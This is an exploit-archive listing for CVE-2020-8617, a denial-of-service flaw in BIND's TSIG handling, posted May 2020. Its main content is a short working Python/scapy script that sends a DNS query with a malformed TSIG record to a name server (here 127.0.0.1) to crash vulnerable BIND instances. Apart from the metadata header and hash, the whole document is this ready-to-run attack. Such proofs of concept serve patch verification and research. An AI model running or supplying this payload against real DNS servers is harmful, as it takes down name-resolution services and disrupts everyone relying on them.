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BIND TSIG Denial Of Service

BIND TSIG Denial Of Service
Posted May 27, 2020
Authored by Teppei Fukuda

BIND TSIG denial of service exploit.

tags | exploit, denial of service
advisories | CVE-2020-8617
MD5 | e51df7d7af4c4c6758585060581d38b8

BIND TSIG Denial Of Service

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#!/usr/bin/python
#coding:utf-8

from scapy.all import DNS, DNSQR, IP, sr1, UDP, DNSRRTSIG, DNSRROPT

tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="", time_signed=0, fudge=300, error=16)

dns_req = IP(dst='127.0.0.1')/UDP(dport=53)/DNS(rd=1, ad=1, qd=DNSQR(qname='www.example.com'), ar=tsig)
answer = sr1(dns_req, verbose=0)

print(answer[DNS].summary())
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